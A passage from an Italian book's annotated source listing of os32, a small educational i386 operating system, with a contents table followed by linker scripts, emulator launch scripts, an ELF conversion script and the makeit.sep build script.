119.1.4 kernel.ld 7034
119.1.5 makeit.sep 7035
119.1.6 qemu 7042

119.2 os32: «kernel/blk.h» 7043

119.2.1 kernel/blk/blk_ata.c 7050
119.2.2 kernel/blk/blk_cache_check.c 7052
119.2.3 kernel/blk/blk_cache_init.c 7052
119.2.4 kernel/blk/blk_cache_read.c 7053
119.2.5 kernel/blk/blk_cache_save.c 7054
119.2.6 kernel/blk/blk_public.c 7055

119.3 os32: «kernel/dev.h» 7055

119.3.1 kernel/dev/dev_ata.c 7062
119.3.2 kernel/dev/dev_dm.c 7064
119.3.3 kernel/dev/dev_io.c 7065
119.3.4 kernel/dev/dev_kmem.c 7066
119.3.5 kernel/dev/dev_mem.c 7070
119.3.6 kernel/dev/dev_tty.c 7072

119.4 os32: «kernel/dm.h» 7074

119.4.1 kernel/dm/dm_init.c 7080
119.4.2 kernel/dm/dm_public.c 7083
119.4.3 kernel/driver/ata.h 7083
119.4.4 kernel/driver/ata/ata_cmd_identify_device.c 7086
119.4.5 kernel/driver/ata/ata_cmd_read_sectors.c 7087
119.4.6 kernel/driver/ata/ata_cmd_write_sectors.c 7089
119.4.7 kernel/driver/ata/ata_device.c 7091
119.4.8 kernel/driver/ata/ata_drq.c 7092
119.4.9 kernel/driver/ata/ata_init.c 7093
119.4.10 kernel/driver/ata/ata_lba28.c 7098
119.4.11 kernel/driver/ata/ata_public.c 7099
119.4.12 kernel/driver/ata/ata_rdy.c 7099
119.4.13 kernel/driver/ata/ata_reset.c 7101

119.4.14 kernel/driver/ata/ata_valid.c 7101
119.4.15 kernel/driver/kbd.h 7102
119.4.16 kernel/driver/kbd/kbd_isr.c 7102
119.4.17 kernel/driver/kbd/kbd_load.c 7104
119.4.18 kernel/driver/kbd/kbd_public.c 7106
119.4.19 kernel/driver/screen.h 7106
119.4.20 kernel/driver/screen/screen_clear.c 7107
119.4.21 kernel/driver/screen/screen_current.c 7108
119.4.22 kernel/driver/screen/screen_init.c 7108
119.4.23 kernel/driver/screen/screen_new_line.c 7109
119.4.24 kernel/driver/screen/screen_number.c 7110
119.4.25 kernel/driver/screen/screen_pointer.c 7111
119.4.26 kernel/driver/screen/screen_public.c 7111
119.4.27 kernel/driver/screen/screen_putc.c 7111
119.4.28 kernel/driver/screen/screen_scroll.c 7113
119.4.29 kernel/driver/screen/screen_select.c 7114
119.4.30 kernel/driver/screen/screen_update.c 7114
119.4.31 kernel/driver/tty.h 7116
119.4.32 kernel/driver/tty/tty_console.c 7116
119.4.33 kernel/driver/tty/tty_init.c 7117
119.4.34 kernel/driver/tty/tty_public.c 7119
119.4.35 kernel/driver/tty/tty_read.c 7119
119.4.36 kernel/driver/tty/tty_reference.c 7120
119.4.37 kernel/driver/tty/tty_write.c 7121

119.5 os32: «kernel/fs.h» 7121

119.5.1 kernel/fs/fd_dup.c 7131
119.5.2 kernel/fs/fd_reference.c 7133
119.5.3 kernel/fs/file_pipe_make.c 7134
119.5.4 kernel/fs/file_reference.c 7135
119.5.5 kernel/fs/file_stdio_dev_make.c 7136
119.5.6 kernel/fs/file_table.c 7137
119.5.7 kernel/fs/fs_init.c 7137
119.5.8 kernel/fs/inode_alloc.c 7137
119.5.9 kernel/fs/inode_check.c 7141
119.5.10 kernel/fs/inode_dir_empty.c 7142
119.5.11 kernel/fs/inode_file_read.c 7144
119.5.12 kernel/fs/inode_file_write.c 7146
119.5.13 kernel/fs/inode_free.c 7148
119.5.14 kernel/fs/inode_fzones_read.c 7149

119.5.15 kernel/fs/inode_fzones_write.c 7151
119.5.16 kernel/fs/inode_get.c 7152
119.5.17 kernel/fs/inode_pipe_make.c 7155
119.5.18 kernel/fs/inode_pipe_read.c 7157
119.5.19 kernel/fs/inode_pipe_write.c 7159
119.5.20 kernel/fs/inode_print.c 7161
119.5.21 kernel/fs/inode_put.c 7163
119.5.22 kernel/fs/inode_reference.c 7164
119.5.23 kernel/fs/inode_save.c 7166
119.5.24 kernel/fs/inode_stdio_dev_make.c 7167
119.5.25 kernel/fs/inode_table.c 7169
119.5.26 kernel/fs/inode_truncate.c 7169
119.5.27 kernel/fs/inode_zone.c 7172
119.5.28 kernel/fs/path_device.c 7180
119.5.29 kernel/fs/path_fix.c 7181
119.5.30 kernel/fs/path_full.c 7183
119.5.31 kernel/fs/path_inode.c 7184
119.5.32 kernel/fs/path_inode_link.c 7188
119.5.33 kernel/fs/sb_inode_status.c 7193
119.5.34 kernel/fs/sb_mount.c 7194
119.5.35 kernel/fs/sb_print.c 7197
119.5.36 kernel/fs/sb_public.c 7198
119.5.37 kernel/fs/sb_reference.c 7198
119.5.38 kernel/fs/sb_save.c 7199
119.5.39 kernel/fs/sb_zone_status.c 7201
119.5.40 kernel/fs/zone_alloc.c 7202
119.5.41 kernel/fs/zone_free.c 7203
119.5.42 kernel/fs/zone_print.c 7204
119.5.43 kernel/fs/zone_read.c 7205
119.5.44 kernel/fs/zone_write.c 7206

119.6 os32: «kernel/ibm_i386.h» 7207

119.6.1 kernel/ibm_i386/_in_32.s 7217
119.6.2 kernel/ibm_i386/_in_16.s 7218
119.6.3 kernel/ibm_i386/_in_8.s 7218
119.6.4 kernel/ibm_i386/_out_32.s 7219
119.6.5 kernel/ibm_i386/_out_16.s 7219
119.6.6 kernel/ibm_i386/_out_8.s 7220
119.6.7 kernel/ibm_i386/cli.s 7220
119.6.8 kernel/ibm_i386/gdt.c 7221

119.6.9 kernel/ibm_i386/gdt_load.s 7222
119.6.10 kernel/ibm_i386/gdt_print.c 7222
119.6.11 kernel/ibm_i386/gdt_public.c 7223
119.6.12 kernel/ibm_i386/gdt_segment.c 7223
119.6.13 kernel/ibm_i386/idt.c 7224
119.6.14 kernel/ibm_i386/idt_descriptor.c 7226
119.6.15 kernel/ibm_i386/idt_irq_remap.c 7227
119.6.16 kernel/ibm_i386/idt_load.s 7228
119.6.17 kernel/ibm_i386/idt_print.c 7228
119.6.18 kernel/ibm_i386/idt_public.c 7229
119.6.19 kernel/ibm_i386/irq_off.c 7229
119.6.20 kernel/ibm_i386/irq_on.c 7230
119.6.21 kernel/ibm_i386/isr.s 7231
119.6.22 kernel/ibm_i386/isr_exception_name.c 7245
119.6.23 kernel/ibm_i386/isr_exception_unrecoverable.c 7246
119.6.24 kernel/ibm_i386/isr_irq_clear.c 7246
119.6.25 kernel/ibm_i386/isr_irq_clear_pic1.c 7247
119.6.26 kernel/ibm_i386/isr_irq_clear_pic2.c 7247
119.6.27 kernel/ibm_i386/sti.s 7247

119.7 os32: «kernel/lib_k.h» 7248

119.7.1 kernel/lib_k/k_exit.s 7254
119.7.2 kernel/lib_k/k_gets.c 7255
119.7.3 kernel/lib_k/k_perror.c 7255
119.7.4 kernel/lib_k/k_printf.c 7256
119.7.5 kernel/lib_k/k_sleep.c 7256
119.7.6 kernel/lib_k/k_stime.c 7257
119.7.7 kernel/lib_k/k_vprintf.c 7257
119.7.8 kernel/lib_k/k_vsprintf.c 7258

119.8 os32: «kernel/lib_s.h» 7259

119.8.1 kernel/lib_s/s__exit.c 7266
119.8.2 kernel/lib_s/s_brk.c 7269
119.8.3 kernel/lib_s/s_chdir.c 7275
119.8.4 kernel/lib_s/s_chmod.c 7276
119.8.5 kernel/lib_s/s_chown.c 7277
119.8.6 kernel/lib_s/s_clock.c 7278
119.8.7 kernel/lib_s/s_close.c 7278
119.8.8 kernel/lib_s/s_dup.c 7280
119.8.9 kernel/lib_s/s_dup2.c 7280

119.8.10 kernel/lib_s/s_fchmod.c 7281
119.8.11 kernel/lib_s/s_fchown.c 7282
119.8.12 kernel/lib_s/s_fcntl.c 7283
119.8.13 kernel/lib_s/s_fork.c 7285
119.8.14 kernel/lib_s/s_fstat.c 7291
119.8.15 kernel/lib_s/s_kill.c 7292
119.8.16 kernel/lib_s/s_link.c 7295
119.8.17 kernel/lib_s/s_longjmp.c 7296
119.8.18 kernel/lib_s/s_lseek.c 7297
119.8.19 kernel/lib_s/s_mkdir.c 7299
119.8.20 kernel/lib_s/s_mknod.c 7301
119.8.21 kernel/lib_s/s_mount.c 7303
119.8.22 kernel/lib_s/s_open.c 7304
119.8.23 kernel/lib_s/s_pipe.c 7310
119.8.24 kernel/lib_s/s_read.c 7312
119.8.25 kernel/lib_s/s_sbrk.c 7315
119.8.26 kernel/lib_s/s_setegid.c 7316
119.8.27 kernel/lib_s/s_seteuid.c 7317
119.8.28 kernel/lib_s/s_setgid.c 7317
119.8.29 kernel/lib_s/s_setjmp.c 7318
119.8.30 kernel/lib_s/s_setuid.c 7319
119.8.31 kernel/lib_s/s_signal.c 7320
119.8.32 kernel/lib_s/s_stat.c 7321
119.8.33 kernel/lib_s/s_stime.c 7323
119.8.34 kernel/lib_s/s_tcgetattr.c 7323
119.8.35 kernel/lib_s/s_tcsetattr.c 7325
119.8.36 kernel/lib_s/s_time.c 7326
119.8.37 kernel/lib_s/s_umount.c 7327
119.8.38 kernel/lib_s/s_unlink.c 7329
119.8.39 kernel/lib_s/s_wait.c 7333
119.8.40 kernel/lib_s/s_write.c 7334

119.9 os32: «kernel/main.h» 7337

119.9.1 kernel/main/build.h 7344
119.9.2 kernel/main/crt0.s 7344
119.9.3 kernel/main/kmain.c 7345
119.9.4 kernel/main/menu.c 7351
119.9.5 kernel/main/run.c 7352
119.9.6 kernel/main/stack.s 7353

119.10 os32: «kernel/memory.h» 7353

119.10.1 kernel/memory/mb_alloc.c 7360
119.10.2 kernel/memory/mb_alloc_size.c 7362
119.10.3 kernel/memory/mb_clean.c 7364
119.10.4 kernel/memory/mb_free.c 7364
119.10.5 kernel/memory/mb_print.c 7366
119.10.6 kernel/memory/mb_public.c 7368
119.10.7 kernel/memory/mb_reduce.c 7368
119.10.8 kernel/memory/mb_reference.c 7369
119.10.9 kernel/memory/mb_size.c 7369

119.11 os32: «kernel/multiboot.h» 7370

119.11.1 kernel/multiboot/mboot_public.c 7376
119.11.2 kernel/multiboot/mboot_save.c 7376

119.12 os32: «kernel/part.h» 7377

119.13 os32: «kernel/proc.h» 7384

119.13.1 kernel/proc/proc_available.c 7393
119.13.2 kernel/proc/proc_dump_memory.c 7394
119.13.3 kernel/proc/proc_init.c 7395
119.13.4 kernel/proc/proc_offset_data_to_pointer.c 7399
119.13.5 kernel/proc/proc_print.c 7399
119.13.6 kernel/proc/proc_public.c 7401
119.13.7 kernel/proc/proc_reference.c 7402
119.13.8 kernel/proc/proc_sch_signals.c 7402
119.13.9 kernel/proc/proc_sch_terminals.c 7403
119.13.10 kernel/proc/proc_sch_timers.c 7410
119.13.11 kernel/proc/proc_scheduler.c 7411
119.13.12 kernel/proc/proc_sig_chld.c 7415
119.13.13 kernel/proc/proc_sig_cont.c 7416
119.13.14 kernel/proc/proc_sig_core.c 7416
119.13.15 kernel/proc/proc_sig_handler.c 7418
119.13.16 kernel/proc/proc_sig_ignore.c 7422
119.13.17 kernel/proc/proc_sig_off.c 7423
119.13.18 kernel/proc/proc_sig_on.c 7423
119.13.19 kernel/proc/proc_sig_status.c 7423
119.13.20 kernel/proc/proc_sig_stop.c 7424
119.13.21 kernel/proc/proc_sig_term.c 7424
119.13.22 kernel/proc/proc_sys_exec.c 7425

119.13.23 kernel/proc/proc_timer_init.c 7440
119.13.24 kernel/proc/proc_wakeup_pipe_read.c 7441
119.13.25 kernel/proc/proc_wakeup_pipe_write.c 7441
119.13.26 kernel/proc/proc_wakeup_terminal.c 7442
119.13.27 kernel/proc/sysroutine.c 7443

119.1 os32: directory principale

119.1.1 applic.sep.ld

Si veda la sezione 109.1.3.

```
10001 /*********************************************************************
10002  * SEPARATED text from data
10003  *********************************************************************/
10004
10005 ENTRY (startup)
10006 SECTIONS {
10007     . = 0x0;
10008     _text_start = .;
10009     .text : {
10010         *(.text)
10011         . = ALIGN (0x4);
10012     }
10013     _text_end = .;
10014     . = 0x0;
10015     _data_start = .;
10016     .rodata : {
10017         *(.rodata)
10018         . = ALIGN (0x4);
10019     }
10020     .data : {
10021         *(.data)
10022         . = ALIGN (0x4);
10023     }
10024     _data_end = .;
10025     _bss_start = .;
10026     .bss : {
10027         *(COMMON)
10028         *(.bss)
10029         . = ALIGN (0x4);
10030     }
10031     _bss_end = .;
10032 }
```

119.1.2 bochs

Si veda la sezione 116.2.

```
20001 #!/bin/sh
20002
20003 bochs -q "boot: disk" \
20004          "ata0-master: type=disk, path=disk.hda" \
20005          "keyboard_mapping: enabled=1, \
20006             map=/usr/share/bochs/keymaps/x11-pc-it.map" \
20007          "keyboard_type: mf" \
20008          "vga: none" \
20009          "romimage: file=\"/usr/share/bochs/BIOS-bochs-legacy\"" \
20010          "megs:128"
```

119.1.3 elf-to-os32

Si veda la sezione 109.1.3.

```
30001 #!/bin/sh
30002 #
30003 #
30004 #
30005 get_size ()
30006 {
30007       sed "s/^[[:space:]]*[0-9]*[[:space:]]*//" \
30008     | sed "s/\.[^[:space:]]*[[:space:]]*//" \
30009     | sed "s/\([0-9a-z]*\)[[:space:]].*$/\1/"
30010 }
30011 #
30012 get_vma ()
30013 {
30014       sed "s/^[[:space:]]*[0-9]*[[:space:]]*//" \
30015     | sed "s/\.[^[:space:]]*[[:space:]]*//" \
30016     | sed "s/[0-9a-f]*[[:space:]]*//" \
30017     | sed "s/\([0-9a-z]*\)[[:space:]].*$/\1/"
30018 }
30019 #
30020 get_start ()
30021 {
30022       sed "s/^[[:space:]]*[0-9]*[[:space:]]*//" \
30023     | sed "s/\.[^[:space:]]*[[:space:]]*//" \
30024     | sed "s/[0-9a-f]*[[:space:]]*//" \
30025     | sed "s/[0-9a-f]*[[:space:]]*//" \
30026     | sed "s/[0-9a-f]*[[:space:]]*//" \
30027     | sed "s/\([0-9a-z]*\)[[:space:]].*$/\1/"
30028 }
30029 #
30030 FILE_ELF="$1"
30031 FILE_OS32="$2"
30032 #
```

```
30033 if [ -e "$FILE_ELF" ]
30034 then
30035     true
30036 else
30037     exit
30038 fi
30039 #
30040 TEXT_START=`objdump -h $FILE_ELF | grep -F ".text" | get_start`
30041 TEXT_VMA=`objdump -h $FILE_ELF | grep -F ".text" | get_vma`
30042 TEXT_SIZE=`objdump -h $FILE_ELF | grep -F ".text" | get_size`
30043 #
30044 RODATA_START=`objdump -h $FILE_ELF | grep -F ".rodata" | get_start`
30045 RODATA_VMA=`objdump -h $FILE_ELF | grep -F ".rodata" | get_vma`
30046 RODATA_SIZE=`objdump -h $FILE_ELF | grep -F ".rodata" | get_size`
30047 #
30048 DATA_START=`objdump -h $FILE_ELF | grep -F ".data" | get_start`
30049 DATA_VMA=`objdump -h $FILE_ELF | grep -F ".data" | get_vma`
30050 DATA_SIZE=`objdump -h $FILE_ELF | grep -F ".data" | get_size`
30051 #
30052 # Convert to decimal
30053 #
30054 TEXT_START=`printf "%i" 0x$TEXT_START`
30055 TEXT_VMA=`printf "%i" 0x$TEXT_VMA`
30056 TEXT_SIZE=`printf "%i" 0x$TEXT_SIZE`
30057 #
30058 RODATA_START=`printf "%i" 0x$RODATA_START`
30059 RODATA_VMA=`printf "%i" 0x$RODATA_VMA`
30060 RODATA_SIZE=`printf "%i" 0x$RODATA_SIZE`
30061 #
30062 DATA_START=`printf "%i" 0x$DATA_START`
30063 DATA_VMA=`printf "%i" 0x$DATA_VMA`
30064 DATA_SIZE=`printf "%i" 0x$DATA_SIZE`
30065
30066
30067 if [ "$RODATA_SIZE" = "$DATA_VMA" ]
30068 then
30069     dd if=$FILE_ELF of=$FILE_OS32.text \
30070        bs=1 skip=$TEXT_START count=$TEXT_SIZE 2> "/dev/null"
30071     dd if=$FILE_ELF of=$FILE_OS32.rodata \
30072        bs=1 skip=$RODATA_START count=$RODATA_SIZE 2> "/dev/null"
30073     dd if=$FILE_ELF of=$FILE_OS32.data \
30074        bs=1 skip=$DATA_START count=$DATA_SIZE 2> "/dev/null"
30075     cat $FILE_OS32.text $FILE_OS32.rodata  $FILE_OS32.data > $FILE_OS32
30076     #
30077     #rm $FILE_OS32.text
30078     #rm $FILE_OS32.rodata
30079     #rm $FILE_OS32.data
30080     #
30081     chmod a+x $FILE_OS32
30082 elif [ "$RODATA_SIZE" -lt "$DATA_VMA" ]
30083 then
30084     dd if=$FILE_ELF of=$FILE_OS32.text \
```

```
30085         bs=1 skip=$TEXT_START count=$TEXT_SIZE 2> "/dev/null"
30086      dd if=$FILE_ELF of=$FILE_OS32.rodata \
30087         bs=1 skip=$RODATA_START count=$RODATA_SIZE 2> "/dev/null"
30088      dd if=/dev/zero of=$FILE_OS32.rodata-space \
30089         bs=1 count=$(($DATA_VMA-$RODATA_SIZE)) 2> "/dev/null"
30090      dd if=$FILE_ELF of=$FILE_OS32.data \
30091         bs=1 skip=$DATA_START count=$DATA_SIZE 2> "/dev/null"
30092 
30093      cat $FILE_OS32.text \
30094          $FILE_OS32.rodata \
30095          $FILE_OS32.rodata-space \
30096          $FILE_OS32.data > $FILE_OS32
30097      #
30098      #rm $FILE_OS32.text
30099      #rm $FILE_OS32.rodata
30100      #rm $FILE_OS32.rodata-space
30101      #rm $FILE_OS32.data
30102      #
30103      chmod a+x $FILE_OS32
30104  else
30105      echo "[$0] ERROR: $FILE_ELF has DATA section not contiguous:"
30106      echo "[$0]        RODATA end at $RODATA_SIZE, and DATA should"
30107      echo "[$0]        start at $DATA_VMA!"
30108  fi
```

119.1.4 kernel.ld

Si veda la sezione 109.2.2.

```
40001  /*********************************************************************
40002   * The code will start at address 0x100000, that is at 1 Mibyte,
40003   * because it is the place where GRUB will place it.
40004   *
40005   * The kernel is divided into 'TEXT' (code), 'DATA' and 'BSS'.
40006   * Between the TEXT and the DATA there is a gap to align the
40007   * data at 4 Kibyte boundary (0x1000), to allow memory management
40008   * for it.
40009   *
40010   * The stack will be placed at the beginning of the BSS.
40011   *
40012   * The kernel starts with file 'kernel/main/crt0.s', at the label
40013   * 'startup'.
40014   *********************************************************************/
40015 
40016  ENTRY (kstartup)
40017  SECTIONS {
40018      . = 0x00100000;
40019      _k_start = .;
40020      _k_text_start = .;
40021      .text : {
40022          *(.text)
```

```
40023         }
40024         _k_text_end = .;
40025         . = ALIGN (0x1000);
40026         _k_data_start = .;
40027         .rodata : {
40028             *(.rodata)
40029         }
40030         . = ALIGN (0x4);
40031         .data : {
40032             *(.data)
40033         }
40034         _k_data_end = .;
40035         . = ALIGN (0x4);
40036         _k_bss_start = .;
40037         .bss : {
40038             *(COMMON)
40039             *(.bss)
40040         }
40041         _k_bss_end = .;
40042         _k_end = .;
40043     }
```

119.1.5 makeit.sep

Si veda la sezione 116.2.

```
50001 #!/bin/sh
50002 #
50003 # makeit... separated: text and data have separate segments.
50004 #
50005 OPTION="$1"
50006 OS32PATH=""
50007 #
50008 #
50009 #
50010 edition () {
50011     local EDITION="kernel/main/build.h"
50012     echo -n                              > $EDITION
50013     echo -n "#define BUILD_DATE \""     >> $EDITION
50014     echo -n `date "+%Y%m%d%H%M"`        >> $EDITION
50015     echo  "\""  >> $EDITION
50016 }
50017 #
50018 #
50019 #
50020 makefile () {
50021     #
50022     local MAKEFILE="Makefile"
50023     local TAB=`printf "\t"`
50024     #
50025     local SOURCE_C=""
```

```
50026       local C=""
50027       local SOURCE_S=""
50028       local S=""
50029       #
50030       local c
50031       local s
50032       #
50033       # Find C source files.
50034       #
50035       for c in *.c
50036       do
50037           if [ -f $c ]
50038           then
50039           C=`basename $c .c`
50040               SOURCE_C="$SOURCE_C $C"
50041           fi
50042       done
50043       #
50044       # Find ASM source files.
50045       #
50046       for s in *.s
50047       do
50048           if [ -f $s ]
50049           then
50050           S=`basename $s .s`
50051               SOURCE_S="$SOURCE_S $S"
50052           fi
50053       done
50054       #
50055       # Prepare the Makefile. Option '-g' is for debugging symbols.
50056       #
50057       echo -n                                               > $MAKEFILE
50058       echo "# This file was made automatically"             >> $MAKEFILE
50059       echo "# by the script \`makeit\', based on the"       >> $MAKEFILE
50060       echo "# directory content."                           >> $MAKEFILE
50061       echo "# Please use \`makeit\' to compile and"         >> $MAKEFILE
50062       echo "# \`makeit clean\' to clean directories."       >> $MAKEFILE
50063       echo "#"                                              >> $MAKEFILE
50064       echo "#"                                              >> $MAKEFILE
50065       echo "c = $SOURCE_C"                                  >> $MAKEFILE
50066       echo "#"                                              >> $MAKEFILE
50067       echo "s = $SOURCE_S"                                  >> $MAKEFILE
50068       echo "#"                                              >> $MAKEFILE
50069       echo "all: \$(s) \$(c)"                               >> $MAKEFILE
50070       echo "#"                                              >> $MAKEFILE
50071       echo "clean:"                                         >> $MAKEFILE
50072       echo "${TAB}@rm *.o *.ELF *.text *.rodata *.rodata-space \
50073   *.data \$(c) 2> /dev/null ; pwd"                          >> $MAKEFILE
50074       echo "#"                                              >> $MAKEFILE
50075       echo "\$(s):"                                         >> $MAKEFILE
50076       echo "${TAB}@echo \$@.s"                              >> $MAKEFILE
50077       echo "${TAB}@as -o \$@.o \$@.s"                       >> $MAKEFILE
```

```
50078       echo "#"                                               >> $MAKEFILE
50079       echo "\$(c):"                                          >> $MAKEFILE
50080       echo "${TAB}@echo \$@.c"                               >> $MAKEFILE
50081       echo "${TAB}@gcc -O0 -Wall -Werror "     \
50082            "-g"                              \
50083            "-o \$@.o -c \$@.c"               \
50084            "-nostdinc -nostdlib "            \
50085            "-nostartfiles -nodefaultlibs" \
50086            "-I " \
50087            "-I. " \
50088            "-I$OS32PATH/lib " \
50089            "-I$OS32PATH/ " \
50090            "-I../include -I../../include -I../../../include"  >> $MAKEFILE
50091       #
50092   }
50093   #
50094   #
50095   #
50096   main () {
50097       #
50098       local CURDIR=`pwd`
50099       local OBJECTS
50100       local d
50101       local c
50102       local s
50103       local o
50104       #
50105       edition
50106       #
50107       # Copia dello scheletro
50108       #
50109       if [ "$OPTION" = "clean" ]
50110       then
50111           #
50112           # La copia non va fatta.
50113           #
50114           true
50115       else
50116           cp -dpRv skel/etc   /mnt/disk.hda.2/
50117           cp -dpRv skel/dev   /mnt/disk.hda.2/
50118           mkdir               /mnt/disk.hda.2/mnt/
50119           mkdir               /mnt/disk.hda.2/tmp/
50120           chmod 0777          /mnt/disk.hda.2/tmp/
50121           mkdir               /mnt/disk.hda.2/usr/
50122           cp -dpRv skel/root  /mnt/disk.hda.2/
50123           cp -dpRv skel/home  /mnt/disk.hda.2/
50124           cp -dpRv skel/usr/* /mnt/disk.hda.2/usr/
50125       fi
50126       #
50127       for d in `find .`
50128       do
50129           if [ -d "$d" ]
```

```
50130            then
50131                #
50132                # Are there C or ASM source files?
50133                #
50134                c=`echo $d/*.c | sed "s/ .*//"`
50135                s=`echo $d/*.s | sed "s/ .*//"`
50136                #
50137                if [ -f "$c" ] || [ -f "$s" ]
50138                then
50139                    CURDIR=`pwd`
50140                    cd $d
50141                    #
50142                    # Build the new makefile
50143                    #
50144                    makefile
50145                    #
50146                    # Clean the directory
50147                    #
50148                    make clean
50149                    #
50150                    #
50151                    #
50152                    if [ "$OPTION" = "clean" ]
50153                    then
50154                        #
50155                        # Nothing else to do: the clean was
50156                        # just made.
50157                        #
50158                        true
50159                    else
50160                        if ! make
50161                        then
50162                            cd "$CURDIR"
50163                            exit
50164                        fi
50165                    fi
50166                    cd "$CURDIR"
50167                fi
50168            fi
50169        done
50170        #
50171        cd "$CURDIR"
50172        #
50173        #
50174        #
50175        if [ "$OPTION" = "clean" ]
50176        then
50177            true
50178        else
50179            #
50180            echo "Link kernel"
50181            #
```

```
50182           OBJECTS=""
50183           #
50184           for o in `find . -name \*.o -print`
50185           do
50186               if    [ "$o" = "./kernel/main/crt0.o" ] \
50187                  || [ "$o" = "./kernel/main/kmain.o" ] \
50188                  || [ "$o" = "./kernel/main/stack.o" ] \
50189                  || [ ! -e "$o" ] \
50190                  || echo "$o" | grep -F "./applic/" > "/dev/null" \
50191                  || echo "$o" | grep -F "./ported/" > "/dev/null"
50192               then
50193                   true
50194               else
50195                   OBJECTS="$OBJECTS $o"
50196               fi
50197           done
50198           #
50199           # The kernel must be ELF, because Grub will not
50200           # recognize it otherwise.
50201           #
50202           ld  --script=kernel.ld \
50203               --oformat elf32-i386 \
50204               -o kimage \
50205               ./kernel/main/crt0.o \
50206               $OBJECTS \
50207               ./kernel/main/kmain.o \
50208               ./kernel/main/stack.o
50209           #
50210           cp -f kimage /mnt/disk.fd0/kimage
50211           sync
50212           #
50213           # Collegamento delle applicazioni di os32.
50214           #
50215           OBJLIB=""
50216           #
50217           for o in `find lib      -name \*.o -print`
50218           do
50219               OBJLIB="$OBJLIB $o"
50220           done
50221           #
50222           echo "Link applic"
50223           #
50224           # Scansione delle applicazioni interne.
50225           #
50226           for o in `find applic     -name \*.o -print`
50227           do
50228               if    [ "$o" = "applic/crt0.o" ] \
50229                  || [ ! -e "$o" ] \
50230                  || echo "$o" | grep ".crt0.o$" > /dev/null \
50231                  || echo "$o" | grep ".crt0.mer.o$" > /dev/null \
50232                  || echo "$o" | grep ".crt0.sep.o$" > /dev/null
50233               then
```

```
50234                 #
50235                 # Il file non esiste oppure si tratta di ‘...crt0.s’.
50236                 #
50237                 true
50238             else
50239                 #
50240                 # File oggetto differente da ‘...crt0.s’.
50241                 #
50242                 EXEC=‘echo "$o" | sed "s/\.o$//"‘
50243                 BASENAME=‘basename $o .o‘
50244                 if [ -e "applic/$BASENAME.crt0.sep.o" ]
50245                 then
50246                     #
50247                     # Qui c’è un file ‘...crt0.o’ specifico.
50248                     #
50249                     rm $EXEC $EXEC.ELF  2> "/dev/null"
50250                     ld  --no-check-sections \
50251                         --oformat elf32-i386 \
50252                         --script=applic.sep.ld \
50253                         -o $EXEC.ELF \
50254                         ./applic/$BASENAME.crt0.sep.o \
50255                         $o \
50256                         $OBJLIB
50257                         #
50258                         ./elf-to-os32 $EXEC.ELF $EXEC
50259                 else
50260                     #
50261                     # Qui si usa il file ‘crt0.sep.o’ generale.
50262                     #
50263                     rm $EXEC $EXEC.ELF  2> "/dev/null"
50264                     ld  --script=applic.sep.ld \
50265                         --no-check-sections \
50266                         --oformat elf32-i386 \
50267                         -o $EXEC.ELF \
50268                         ./applic/crt0.sep.o \
50269                         $o \
50270                         $OBJLIB
50271                         #
50272                         ./elf-to-os32 $EXEC.ELF $EXEC
50273                 fi
50274                 #
50275                 if [ -x "applic/$BASENAME" ]
50276                 then
50277                     if mount | grep /mnt/disk.hda.2 > /dev/null
50278                     then
50279                         mkdir /mnt/disk.hda.2/bin/ 2> /dev/null
50280                         rm /mnt/disk.hda.2/bin/$EXEC 2> "/dev/null"
50281                         cp -f "$EXEC" /mnt/disk.hda.2/bin
50282                     else
50283                         echo "[$0] Cannot copy the application "
50284                         echo "[$0]   $BASENAME inside the disk image!"
50285                         break
```

```
50286                     fi
50287                 fi
50288             fi
50289         done
50290         sync
50291         #
50292         echo "Link ported"
50293         #
50294         # Scansione delle applicazioni adattate.
50295         #
50296         for a in ported/*
50297         do
50298             if [ -d $a ]
50299             then
50300                 OBJECTS=""
50301                 for o in `find $a  -name \*.o -print`
50302                 do
50303                     if    [ "$o" = "$a/crt0.o" ] \
50304                        || [ ! -e "$o" ] \
50305                        || echo "$o" | grep "crt0.o$" > /dev/null \
50306                        || echo "$o" | grep "crt0.mer.o$" > /dev/null \
50307                        || echo "$o" | grep "crt0.sep.o$" > /dev/null
50308                     then
50309                         #
50310                         # Il file non esiste oppure si tratta di
50311                         # `...crt0.s'.
50312                         #
50313                         true
50314                     else
50315                         OBJECTS="$OBJECTS $o"
50316                     fi
50317                 done
50318                 #
50319                 # File oggetto differente da `...crt0.s'.
50320                 #
50321                 BASENAME=`basename $a`
50322                 EXEC="$a/$BASENAME"
50323                 #
50324                 rm $EXEC $EXEC.ELF  2> "/dev/null"
50325                 #
50326                 echo ld  --script=applic.sep.ld \
50327                     --no-check-sections \
50328                     --oformat elf32-i386 \
50329                     -o $EXEC.ELF \
50330                     $a/crt0.sep.o \
50331                     $OBJECTS \
50332                     $OBJLIB > link-$BASENAME.link
50333                     #
50334                 echo ./elf-to-os32 $EXEC.ELF $EXEC \
50335                      >> link-$BASENAME.link
50336                 #
50337                 ld  --script=applic.sep.ld \
```

```
50338                     --no-check-sections \
50339                     --oformat elf32-i386 \
50340                     -o $EXEC.ELF \
50341                     $a/crt0.sep.o \
50342                     $OBJECTS \
50343                     $OBJLIB
50344                     #
50345                     ./elf-to-os32 $EXEC.ELF $EXEC
50346                 #
50347                 if [ -x "$EXEC" ]
50348                 then
50349                     if mount | grep /mnt/disk.hda.2 > /dev/null
50350                     then
50351                         mkdir /mnt/disk.hda.2/bin/ 2> /dev/null
50352                         rm /mnt/disk.hda.2/bin/$EXEC 2> "/dev/null"
50353                         cp -f "$EXEC" /mnt/disk.hda.2/bin
50354                     else
50355                         echo "[$0] Cannot copy the application "
50356                         echo "[$0]   $BASENAME inside the disk image!"
50357                         break
50358                     fi
50359                 fi
50360             fi
50361         done
50362         sync
50363     fi
50364 }
50365 #
50366 # Start.
50367 #
50368 if [ -d kernel ]   && \
50369    [ -d lib  ]
50370 then
50371     OS32PATH=`pwd`
50372     main
50373 else
50374     echo "[$0] Running from a wrong directory!"
50375 fi
```

119.1.6 qemu

Si veda la sezione 116.2.

```
60001 #!/bin/sh
60002 #
60003 #
60004 #
60005 if [ -n "$DISPLAY" ]
60006 then
60007     CURSES=""
60008 else
```

```
60009     CURSES="-curses"
60010 fi
60011 
60012 qemu $CURSES \
60013      -hda disk.hda \
60014      -boot c
60015 
60016 
60017 exit
60018 
60019 qemu $CURSES -fda disk.fd0 \
60020      -hda disk.hda -hdachs 256,2,16,lba \
60021      -hdb disk.hdb -hdachs 256,2,16,lba \
60022      -boot a
```

119.2 os32: «kernel/blk.h»

Si veda la sezione 118.2.

```
70001 #ifndef _KERNEL_BLK_H
70002 #define _KERNEL_BLK_H 1
70003 //----------------------------------------------------------------------
70004 #include <sys/types.h>
